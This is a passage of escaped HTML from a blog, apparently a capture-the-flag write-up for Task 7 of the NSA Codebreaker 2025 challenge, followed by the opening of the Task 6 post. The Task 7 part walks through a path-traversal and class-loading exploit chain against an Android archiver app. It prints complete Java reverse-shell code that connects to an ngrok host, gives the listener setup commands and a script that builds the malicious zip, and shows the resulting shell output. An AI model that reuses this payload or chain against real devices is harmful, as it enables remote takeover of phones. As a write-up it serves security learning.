\u003ccode\u003e...zip\u003c/code\u003e, the basename is \u003ccode\u003e..\u003c/code\u003e, resulting in an extraction path of \u003ccode\u003e/cache/zippier/extract/..\u003c/code\u003e, which resolves to \u003ccode\u003e/cache/zippier/\u003c/code\u003e. This means files within the zip are extracted to the parent directory.\u003c/p\u003e\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/path_traversal.png\" alt=\"Path Traversal\"/\u003e\n\u003c/p\u003e\n\u003cp\u003eThe extraction process uses \u003ccode\u003eFileOutputStream\u003c/code\u003e without checking if files already exist, allowing arbitrary file overwrites. Additionally, I discovered that when the app encounters a \u003ccode\u003e.7z\u003c/code\u003e file, it attempts to load a format handler from \u003ccode\u003e/cache/zippier/formats/net.axolotl.zippier.ZipFormat_7z.jar\u003c/code\u003e.\u003c/p\u003e\n\u003ch3 id=\"exploitation-chain\"\u003eExploitation Chain\u003c/h3\u003e\n\u003cp\u003eThe vulnerability chain:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003ePath Traversal\u003c/strong\u003e: Name the zip file \u003ccode\u003e...zip\u003c/code\u003e to extract to \u003ccode\u003e/cache/zippier/\u003c/code\u003e instead of a subdirectory\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFile Overwrite\u003c/strong\u003e: Place a malicious JAR at \u003ccode\u003eformats/net.axolotl.zippier.ZipFormat_7z.jar\u003c/code\u003e within the zip\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDynamic Class Loading\u003c/strong\u003e: Include a trigger file with \u003ccode\u003e.7z\u003c/code\u003e extension\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCode Execution\u003c/strong\u003e: The static initializer in the malicious class executes when loaded\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/exploitation_flow.png\" alt=\"Exploitation Flow\"/\u003e\n\u003c/p\u003e\n\u003ch3 id=\"creating-the-malicious-payload\"\u003eCreating the Malicious Payload\u003c/h3\u003e\n\u003cp\u003eI created a properly implemented \u003ccode\u003eZipFormat_7z\u003c/code\u003e class that executes a reverse shell in its static initializer:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-java\" data-lang=\"java\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003epackage\u003c/span\u003e net.axolotl.zippier;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e java.io.*;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e java.net.Socket;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003epublic\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eclass\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eZipFormat_7z\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eimplements\u003c/span\u003e ZipFormat {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003estatic\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003etry\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            reverseShell();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        } \u003cspan style=\"color:#66d9ef\"\u003ecatch\u003c/span\u003e (Exception e) {}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003epublic\u003c/span\u003e String \u003cspan style=\"color:#a6e22e\"\u003egetExtension\u003c/span\u003e() {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;7z\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003epublic\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003evoid\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003euncompress\u003c/span\u003e(File file, File file2, ZipFile zipFile) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e// Required to implement interface\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eprivate\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003estatic\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003evoid\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ereverseShell\u003c/span\u003e() {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003etry\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            Socket socket \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003enew\u003c/span\u003e Socket(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;8.tcp.ngrok.io\u0026#34;\u003c/span\u003e, 19757);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            Process process \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e Runtime.\u003cspan style=\"color:#a6e22e\"\u003egetRuntime\u003c/span\u003e().\u003cspan style=\"color:#a6e22e\"\u003eexec\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003enew\u003c/span\u003e String\u003cspan style=\"color:#f92672\"\u003e[]\u003c/span\u003e{\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/system/bin/sh\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;-i\u0026#34;\u003c/span\u003e});\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            InputStream processIn \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e process.\u003cspan style=\"color:#a6e22e\"\u003egetInputStream\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            OutputStream processOut \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e process.\u003cspan style=\"color:#a6e22e\"\u003egetOutputStream\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            InputStream socketIn \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e socket.\u003cspan style=\"color:#a6e22e\"\u003egetInputStream\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            OutputStream socketOut \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e socket.\u003cspan style=\"color:#a6e22e\"\u003egetOutputStream\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003enew\u003c/span\u003e Thread(() \u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#66d9ef\"\u003etry\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#66d9ef\"\u003ebyte\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e[]\u003c/span\u003e buf \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003enew\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003ebyte\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e8192\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e len;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e ((len \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e socketIn.\u003cspan style=\"color:#a6e22e\"\u003eread\u003c/span\u003e(buf)) \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e 0) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        processOut.\u003cspan style=\"color:#a6e22e\"\u003ewrite\u003c/span\u003e(buf, 0, len);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        processOut.\u003cspan style=\"color:#a6e22e\"\u003eflush\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                } \u003cspan style=\"color:#66d9ef\"\u003ecatch\u003c/span\u003e (Exception e) {}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            }).\u003cspan style=\"color:#a6e22e\"\u003estart\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003enew\u003c/span\u003e Thread(() \u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#66d9ef\"\u003etry\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#66d9ef\"\u003ebyte\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e[]\u003c/span\u003e buf \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003enew\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003ebyte\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e8192\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e len;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e ((len \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e processIn.\u003cspan style=\"color:#a6e22e\"\u003eread\u003c/span\u003e(buf)) \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e 0) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        socketOut.\u003cspan style=\"color:#a6e22e\"\u003ewrite\u003c/span\u003e(buf, 0, len);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        socketOut.\u003cspan style=\"color:#a6e22e\"\u003eflush\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                } \u003cspan style=\"color:#66d9ef\"\u003ecatch\u003c/span\u003e (Exception e) {}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            }).\u003cspan style=\"color:#a6e22e\"\u003estart\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        } \u003cspan style=\"color:#66d9ef\"\u003ecatch\u003c/span\u003e (Exception e) {}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eI compiled the Java code to \u003ccode\u003e.class\u003c/code\u003e files and used Android SDK\u0026rsquo;s \u003ccode\u003ed8\u003c/code\u003e tool to convert to DEX format:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ejavac ZipFormat_7z.java ZipFile.java\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emkdir -p net/axolotl/zippier\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emv ZipFormat_7z.class net/axolotl/zippier/\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ed8 net/axolotl/zippier/ZipFormat_7z.class\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"network-configuration\"\u003eNetwork Configuration\u003c/h3\u003e\n\u003cp\u003eSince the target device would be on the NSA\u0026rsquo;s network, I used ngrok to create a publicly accessible TCP tunnel:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003engrok tcp \u003cspan style=\"color:#ae81ff\"\u003e4444\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis provided \u003ccode\u003etcp://8.tcp.ngrok.io:19757\u003c/code\u003e which forwards to my local netcat listener:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enc -lvnp \u003cspan style=\"color:#ae81ff\"\u003e4444\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/ngrok_tunnel.png\" alt=\"Ngrok Tunnel\"/\u003e\n\u003c/p\u003e\n\u003ch3 id=\"building-the-exploit-archive\"\u003eBuilding the Exploit Archive\u003c/h3\u003e\n\u003cp\u003eI created the final exploit structure:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#!/usr/bin/env python3\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e zipfile\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Package DEX into JAR format\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ewith\u003c/span\u003e zipfile\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eZipFile(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;malicious.jar\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;w\u0026#39;\u003c/span\u003e) \u003cspan style=\"color:#66d9ef\"\u003eas\u003c/span\u003e jar:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    jar\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ewrite(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;classes.dex\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;classes.dex\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Create exploit zip named \u0026#39;...zip\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ewith\u003c/span\u003e zipfile\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eZipFile(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;temp.zip\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;w\u0026#39;\u003c/span\u003e) \u003cspan style=\"color:#66d9ef\"\u003eas\u003c/span\u003e z:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ewith\u003c/span\u003e open(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;malicious.jar\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;rb\u0026#39;\u003c/span\u003e) \u003cspan style=\"color:#66d9ef\"\u003eas\u003c/span\u003e f:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        z\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ewritestr(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;formats/net.axolotl.zippier.ZipFormat_7z.jar\u0026#39;\u003c/span\u003e, f\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eread())\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    z\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ewritestr(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;trigger.7z\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\x37\\x7A\\xBC\\xAF\\x27\\x1C\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e os\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eos\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003erename(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;temp.zip\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;...zip\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe resulting \u003ccode\u003e...zip\u003c/code\u003e contains:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eformats/net.axolotl.zippier.ZipFormat_7z.jar\u003c/code\u003e - Malicious format handler\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003etrigger.7z\u003c/code\u003e - Triggers the format loading mechanism\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"local-testing\"\u003eLocal Testing\u003c/h3\u003e\n\u003cp\u003eBefore submission, I tested the exploit locally using an Android emulator and I set up a local Mattermost instance using Docker to simulate the adversary\u0026rsquo;s environment.\u003c/p\u003e\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/mattermost_local.png\" alt=\"Mattermost Local\"/\u003e\n\u003c/p\u003e\n\u003cp\u003eThe logcat output confirmed successful exploitation:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eD FileDownloadWorker: file written to /data/user/0/com.badguy.mmarchiver/cache/download/...zip\nD a: processing zip archive /data/user/0/com.badguy.mmarchiver/cache/download/...zip\nD a: processing zip entry formats/net.axolotl.zippier.ZipFormat_7z.jar\nD a: processing zip entry trigger.7z\nD d: attempting format load from /data/user/0/com.badguy.mmarchiver/cache/zippier/formats/net.axolotl.zippier.ZipFormat_7z.jar\n\u003c/code\u003e\u003c/pre\u003e\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/logcat_success.png\" alt=\"Logcat Success\"/\u003e\n\u003c/p\u003e\n\u003cp\u003eThe reverse shell connected successfully:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ePS C:\\Users\\Bodwell\\Downloads\u0026gt; .\\nc64.exe -nlvp 4444\nlistening on [any] 4444 ...\nconnect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 57738\nwhoami\nu0_a217\nid\nuid=10217(u0_a217) gid=10217(u0_a217) groups=10217(u0_a217)\npwd\n/\n\u003c/code\u003e\u003c/pre\u003e\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/shell_connected.png\" alt=\"Shell Connected\"/\u003e\n\u003c/p\u003e\n\u003ch3 id=\"submission\"\u003eSubmission\u003c/h3\u003e\n\u003cp\u003eWith the exploit verified locally, I submitted \u003ccode\u003e...zip\u003c/code\u003e to the NSA Codebreaker platform.\u003c/p\u003e\n\u003cp\u003e\n\u003cimg src=\"/images/codebreaker-2025/badge7.png\" alt=\"Badge\" width=\"300\"/\u003e\n\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSuccess!\u003c/strong\u003e The exploitation chain successfully achieved remote code execution on the adversary\u0026rsquo;s device, completing the final task of the NSA Codebreaker Challenge.\u003c/p\u003e\n","date":"2025-10-26","dateFormatted":"October 26, 2025","excerpt":"← Series overview Task 7 - Finale - (Vulnerability Research, Exploitation) Now that we have access to the hidden channel the adversary is using, our military counterparts want to act quickly to …","featured":false,"mood":null,"permalink":"/posts/nsa-codebreaker-2025-task-7/","readingTime":5,"slug":"nsa-codebreaker-2025-task-7","subtitle":"Archive handling and the boundary between data and code","summary":"\u003cp\u003e\u003ca href=\"/posts/nsa-codebreaker-2025/\"\u003e← Series overview\u003c/a\u003e\u003c/p\u003e\n\u003c!-- Paste your Markdown content below this line. --\u003e\n\u003ch1 id=\"task-7---finale---vulnerability-research-exploitation\"\u003eTask 7 - Finale - (Vulnerability Research, Exploitation)\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003eNow that we have access to the hidden channel the adversary is using, our military counterparts want to act quickly to destroy the adversary\u0026rsquo;s capacity to continue with their attack against our military networks.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAnalysts have been quickly scrutinizing the data from the privileged channel. They conclude that the adversary has downloaded a custom app to archive all messages sent in the channel locally to their phone. They have also surmised the adversary is running a recent version of Android on a Google Pixel phone. This is the opportunity we have been waiting for! If we can devise a way to exploit on to the adversary\u0026rsquo;s device we will have the advantage.\u003c/p\u003e","tags":["NSA Codebreaker 2025","ctf","android security"],"title":"NSA Codebreaker 2025 - Task 7: Finale","url":"/posts/nsa-codebreaker-2025-task-7/","wordCount":973},{"content":"\u003cp\u003e\u003ca href=\"/posts/nsa-codebreaker-2025/\"\u003e← Series overview\u003c/a\u003e\u003c/p\u003e\n\u003c!-- Paste your Markdown content below this line. --\u003e\n\u003ch1 id=\"task-6---crossing-the-channel---vulnerability-research\"\u003eTask 6 - Crossing the Channel - (Vulnerability Research)\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThis high visibility investigation has garnered a lot of agency attention. Due to your success, your team has designated you as the lead for the tasks ahead. Partnering with CNO and CYBERCOM mission elements, you work with operations to collect the persistent data associated with the identified Mattermost instance. Our analysts inform us that it was obtained through a one-time opportunity and we must move quickly as this may hold the key to tracking down our adversary! We have managed to create an account but it only granted us access to one channel. The adversary doesn\u0026rsquo;t appear to be in that channel.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eWe will have to figure out how to get into the same channel as the adversary. If we can gain access to their communications, we may uncover further opportunity.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eYou are tasked with gaining access to the same channel as the target. The only interface that you have is the chat interface in Mattermost!\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"downloads\"\u003eDownloads\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eMattermost instance:\u003c/strong\u003e \u003ccode\u003evolumes.tar.gz\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eUser login:\u003c/strong\u003e \u003ccode\u003euser.txt\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"prompt\"\u003ePrompt\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSubmit a series of commands, one per line, given to the Mattermost server which will allow you to gain access to a channel with the adversary.\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"writeup\"\u003eWriteup\u003c/h2\u003e\n\u003cp\u003eThis task was relatively straightforward and took approximately 30 minutes to complete. It involved analyzing the Mattermost bot plugins to discover a channel hopping vulnerability.\u003c/p\u003e\n\u003ch3 id=\"initial-analysis\"\u003eInitial Analysis\u003c/h3\u003e\n\u003cp\u003eI began by extracting the provided archive and examining the contents:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e~/Downloads ❯ tar -xvf volumes.tar.gz\n\u003c/span\u003e\u003c/span\u003e\u003cspan 